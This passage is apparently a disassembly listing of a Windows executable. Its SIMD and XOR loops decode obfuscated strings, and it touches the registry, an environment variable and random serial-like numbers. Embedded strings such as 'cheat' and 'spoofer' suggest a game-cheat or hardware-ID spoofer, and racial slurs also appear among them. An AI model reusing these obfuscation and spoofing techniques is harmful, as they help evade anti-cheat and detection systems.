punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x55c]
xorps xmm2, xmm1
movd dword [rbp + 0x55c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x560]
xorps xmm2, xmm1
movd dword [rbp + 0x560], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x564]
xorps xmm2, xmm1
movd dword [rbp + 0x564], xmm2
jmp 0x1400151e2
lea r9, [rbp + 0x558]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400151b0
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [rbp + 0x727], 0
jne 0x140015352
mov r8d, edi
cmp r15d, 2
jl 0x140015312
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x6f8]
mov r8d, r14d
mov r9d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x140015221
jmp 0x140015352
lea r9, [rbp + 0x6f8]
nop dword [rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140015320
call fcn.140001b20
test al, al
jne 0x140015386
nop dword [rax + rax]
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x50]
call fcn.14001a1a0
mov rcx, rax
call fcn.14001a940
call fcn.140001b20
test al, al
je 0x140015360
lea rdx, str.pornhub
lea rcx, [rbp + 0xb20]
call fcn.1400199a0
nop
lea rdx, str.cheat
lea rcx, [rbp + 0xb00]
call fcn.1400199a0
nop
lea rdx, str.spoofer
lea rcx, [rbp + 0xae0]
call fcn.1400199a0
nop
lea rdx, str.nigger
lea rcx, [rbp + 0xc60]
call fcn.1400199a0
nop
lea rdx, str.jeremy
lea rcx, [rbp + 0xc40]
call fcn.1400199a0
nop
lea rdx, str.kepler
lea rcx, [rbp + 0xc20]
call fcn.1400199a0
nop
lea rdx, [0x14001d690]
lea rcx, [rbp + 0xc00]
call fcn.1400199a0
nop
lea rdx, str.discord
lea rcx, [rbp + 0xbe0]
call fcn.1400199a0
nop
lea rdx, str.niga
lea rcx, [rbp + 0xbc0]
call fcn.1400199a0
nop
lea rdx, str.fucker
lea rcx, [rbp + 0xba0]
call fcn.1400199a0
nop
lea rdx, str.keyword
lea rcx, [rbp + 0xb80]
call fcn.1400199a0
nop
lea rdx, str.l1nky
lea rcx, [rbp + 0xb60]
call fcn.1400199a0
nop
lea rdx, str.enigma
lea rcx, [rbp + 0xb40]
call fcn.1400199a0
nop
movups xmm0, xmmword [0x14001d820]
movups xmmword [rbp + 0x850], xmm0
movups xmm1, xmmword [0x14001d830]
movups xmmword [rbp + 0x860], xmm1
movups xmm0, xmmword [0x14001d840]
movups xmmword [rbp + 0x870], xmm0
movups xmm1, xmmword [0x14001d850]
movups xmmword [rbp + 0x880], xmm1
movups xmm0, xmmword [0x14001d860]
movups xmmword [rbp + 0x890], xmm0
movsd xmm0, qword [0x14001d870]
movsd qword [rbp + 0x8a0], xmm0
movups xmm1, xmmword [0x14001db00]
movups xmmword [rbp + 0x730], xmm1
movups xmm0, xmmword [0x14001db10]
movups xmmword [rbp + 0x740], xmm0
movups xmm1, xmmword [0x14001db20]
movups xmmword [rbp + 0x750], xmm1
movups xmm0, xmmword [0x14001db30]
movups xmmword [rbp + 0x760], xmm0
movups xmm1, xmmword [0x14001db40]
movups xmmword [rbp + 0x770], xmm1
movsd xmm0, qword [0x14001db50]
movsd qword [rbp + 0x780], xmm0
movzx eax, word [0x14001db58]
mov word [rbp + 0x788], ax
cmp byte [rbp + 0x789], 0
je 0x1400156c3
mov r8d, edi
cmp r15d, 2
jl 0x140015678
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x730]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x58
jl 0x140015580
cmp r8d, 0x5a
jge 0x1400156c3
movsxd rax, r8d
lea r9, [rbp + 0x730]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140015690
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x220]
call fcn.1400199a0
mov r13, rax
mov qword [rbp - 0x60], rax
mov ecx, dword [str.y_4_]
mov dword [rbp + 0x49c], ecx
movzx ecx, byte [0x14001d9ec]
mov byte [rbp + 0x4a0], cl
test cl, cl
jne 0x14001571d
xor byte [rbp + 0x49c], 0x57
xor byte [rbp + 0x49d], 0x58
xor byte [rbp + 0x49e], 0x59
xor byte [rbp + 0x49f], 0x5a
mov byte [rbp + 0x4a0], 0x5b
mov eax, dword [0x14001dc44]
mov dword [rbp + 0x4ac], eax
movzx eax, byte [0x14001dc48]
mov byte [rbp + 0x4b0], al
test al, al
jne 0x14001575d
xor byte [rbp + 0x4ac], 0x57
xor byte [rbp + 0x4ad], 0x58
xor byte [rbp + 0x4ae], 0x59
xor byte [rbp + 0x4af], 0x5a
mov byte [rbp + 0x4b0], 0x5b
movzx eax, word [0x14001d8f8]
mov word [rbp + 0x48c], ax
cmp byte [0x14001d8f9], 0
jne 0x140015783
xor al, 0x57
mov byte [rbp + 0x48c], al
xor byte [rbp + 0x48d], 0x58
movzx eax, word [0x14001db5c]
mov word [rbp + 0x4a4], ax
cmp byte [0x14001db5d], 0
jne 0x1400157a9
xor al, 0x57
mov byte [rbp + 0x4a4], al
xor byte [rbp + 0x4a5], 0x58
lea rcx, [rbp + 0x5e8]
call fcn.140019b00
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x3394], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2010]
call fcn.140019ce0
mov dword [rbp + 0x5c8], 0x423a35c7
mov dword [rbp + 0x5cc], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x2010]
lea rcx, [rbp + 0x5c8]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0x58]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0x68]
lea rcx, [rbp + 0x58]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x58]
call fcn.140019910
movzx eax, byte [rbp + 0x48d]
test al, al
je 0x14001585c
xor byte [rbp + 0x48c], 0x57
xor al, 0x58
mov byte [rbp + 0x48d], al
lea rax, [rbp + 0x48c]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140015866
lea rdx, [rbp + 0x48c]
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
cmp byte [rbp + 0x48d], 0
jne 0x14001589a
xor byte [rbp + 0x48c], 0x57
mov byte [rbp + 0x48d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x4724], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x33a0]
call fcn.140019ce0
mov dword [rbp + 0x620], 0x423a35c7
mov dword [rbp + 0x624], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x33a0]
lea rcx, [rbp + 0x620]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0x90]
lea rcx, [rbp + 0x80]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x80]
call fcn.140019910
movzx eax, byte [rbp + 0x48d]
test al, al
je 0x14001594c
xor byte [rbp + 0x48c], 0x57
xor al, 0x58
mov byte [rbp + 0x48d], al
lea rax, [rbp + 0x48c]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140015956
lea rdx, [rbp + 0x48c]
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
cmp byte [rbp + 0x48d], 0
jne 0x14001598a
xor byte [rbp + 0x48c], 0x57
mov byte [rbp + 0x48d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x5ab4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4730]
call fcn.140019ce0
mov dword [rbp + 0x5d0], 0xa98ac7
mov dword [rbp + 0x5d4], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x4730]
lea rcx, [rbp + 0x5d0]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0x120]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0x130]
lea rcx, [rbp + 0x120]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x120]
call fcn.140019910
movzx eax, byte [rbp + 0x48d]
test al, al
je 0x140015a3c
xor byte [rbp + 0x48c], 0x57
xor al, 0x58
mov byte [rbp + 0x48d], al
lea rax, [rbp + 0x48c]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140015a46
lea rdx, [rbp + 0x48c]
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
cmp byte [rbp + 0x48d], 0
jne 0x140015a7a
xor byte [rbp + 0x48c], 0x57
mov byte [rbp + 0x48d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x6e44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5ac0]
call fcn.140019ce0
mov dword [rbp + 0x5d8], 0x423a35c7
mov dword [rbp + 0x5dc], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x5ac0]
lea rcx, [rbp + 0x5d8]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0x100]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0x110]
lea rcx, [rbp + 0x100]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x100]
call fcn.140019910
movzx eax, byte [rbp + 0x4a0]
test al, al
je 0x140015b41
xor byte [rbp + 0x49c], 0x57
xor byte [rbp + 0x49d], 0x58
xor byte [rbp + 0x49e], 0x59
xor byte [rbp + 0x49f], 0x5a
xor al, 0x5b
mov byte [rbp + 0x4a0], al
lea rax, [rbp + 0x49c]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140015b50
lea rdx, [rbp + 0x49c]
lea rcx, [rbp + 0x5e8]
call fcn.1400197f0
cmp byte [rbp + 0x4a0], 0
jne 0x140015b99
xor byte [rbp + 0x49c], 0x57
xor byte [rbp + 0x49d], 0x58
xor byte [rbp + 0x49e], 0x59
xor byte [rbp + 0x49f], 0x5a
mov byte [rbp + 0x4a0], 0x5b
movzx eax, byte [rbp + 0x4a5]
test al, al
je 0x140015bb3
xor byte [rbp + 0x4a4], 0x57
xor al, 0x58
mov byte [rbp + 0x4a5], al
lea rdx, [rbp + 0x4a4]
lea rcx, [rbp + 0x1e0]
call fcn.1400199a0
mov rbx, rax
movzx ecx, byte [rbp + 0x4b0]
test cl, cl
je 0x140015bf9
xor byte [rbp + 0x4ac], 0x57
xor byte [rbp + 0x4ad], 0x58
xor byte [rbp + 0x4ae], 0x59
xor byte [rbp + 0x4af], 0x5a
xor cl, 0x5b
mov byte [rbp + 0x4b0], cl
lea rcx, [rbp + 0x4ac]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.140019fe0
nop
lea r8, [rbp + 0x5e8]
mov rdx, rax
lea rcx, [rbp + 0x7b0]
call fcn.140019f80
nop
lea rcx, [rbp + 0x200]
call fcn.140019910
nop
lea rcx, [rbp + 0x1e0]
call fcn.140019910
cmp byte [rbp + 0x4b0], 0
jne 0x140015c75
xor byte [rbp + 0x4ac], 0x57
xor byte [rbp + 0x4ad], 0x58
xor byte [rbp + 0x4ae], 0x59
xor byte [rbp + 0x4af], 0x5a
mov byte [rbp + 0x4b0], 0x5b
cmp byte [rbp + 0x4a5], 0
jne 0x140015c8c
xor byte [rbp + 0x4a4], 0x57
mov byte [rbp + 0x4a5], 0x58
xor edx, edx
lea rcx, [rbp + 0x5e8]
call fcn.140019b20
nop
lea rcx, [rbp + 0x5e8]
call fcn.140019910
nop
lea rcx, [rbp + 0x7b0]
call fcn.140019630
mov rbx, rax
movups xmm0, xmmword [str.7.___5_3_fAO__v_b_v]
movups xmmword [rbp + 0x540], xmm0
mov ecx, dword [0x14001d788]
mov dword [rbp + 0x550], ecx
movzx ecx, word [0x14001d78c]
mov word [rbp + 0x554], cx
movsd xmm0, qword [str.s_06__f_7_BDd]
movsd qword [rbp + 0x4e0], xmm0
mov ecx, dword [0x14001d9f8]
mov dword [rbp + 0x4e8], ecx
movzx eax, word [0x14001d9fc]
mov word [rbp + 0x4ec], ax
mov eax, dword [str.pcyZ]
mov dword [rbp + 0x4c8], eax
movups xmm0, xmmword [0x14001dab0]
movups xmmword [rbp + 0x658], xmm0
movups xmm1, xmmword [0x14001dac0]
movups xmmword [rbp + 0x668], xmm1
movsd xmm0, qword [0x14001dad0]
movsd qword [rbp + 0x678], xmm0
movzx eax, word [0x14001dad8]
mov word [rbp + 0x680], ax
movzx eax, byte [0x14001dada]
mov byte [rbp + 0x682], al
lea rcx, [rbp + 0x7d0]
call fcn.140019b00
nop
cmp byte [rbp + 0x555], 0
je 0x140015ff3
mov r8d, edi
cmp r15d, 2
jl 0x140015fb3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x540]
xorps xmm2, xmm1
movd dword [rbp + 0x540], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x544]
xorps xmm2, xmm1
movd dword [rbp + 0x544], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x548]
xorps xmm2, xmm1
movd dword [rbp + 0x548], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54c]
xorps xmm2, xmm1
movd dword [rbp + 0x54c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x550]
xorps xmm2, xmm1
movd dword [rbp + 0x550], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x540]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140015fc0
lea rax, [rbp + 0x540]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016000
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x7d0]
call fcn.1400197f0
cmp byte [rbp + 0x555], 0
jne 0x1400162b3
mov r8d, edi
cmp r15d, 2
jl 0x140016267
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x540]
xorps xmm2, xmm1
movd dword [rbp + 0x540], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x544]
xorps xmm2, xmm1
movd dword [rbp + 0x544], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x548]
xorps xmm2, xmm1
movd dword [rbp + 0x548], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54c]
xorps xmm2, xmm1
movd dword [rbp + 0x54c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x550]
xorps xmm2, xmm1
movd dword [rbp + 0x550], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x540]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140016280
cmp byte [rbp + 0x4cb], 0
je 0x140016372
mov r8d, edi
cmp r15d, 2
jl 0x140016331
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4c8]
xorps xmm1, xmm0
movd dword [rbp + 0x4c8], xmm1
jmp 0x140016372
lea r9, [rbp + 0x4c8]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140016340
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.1400199a0
mov r10, rax
cmp byte [rbp + 0x4ed], 0
je 0x140016533
mov r8d, edi
cmp r15d, 2
jl 0x1400164f0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e0]
xorps xmm2, xmm1
movd dword [rbp + 0x4e0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e4]
xorps xmm2, xmm1
movd dword [rbp + 0x4e4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
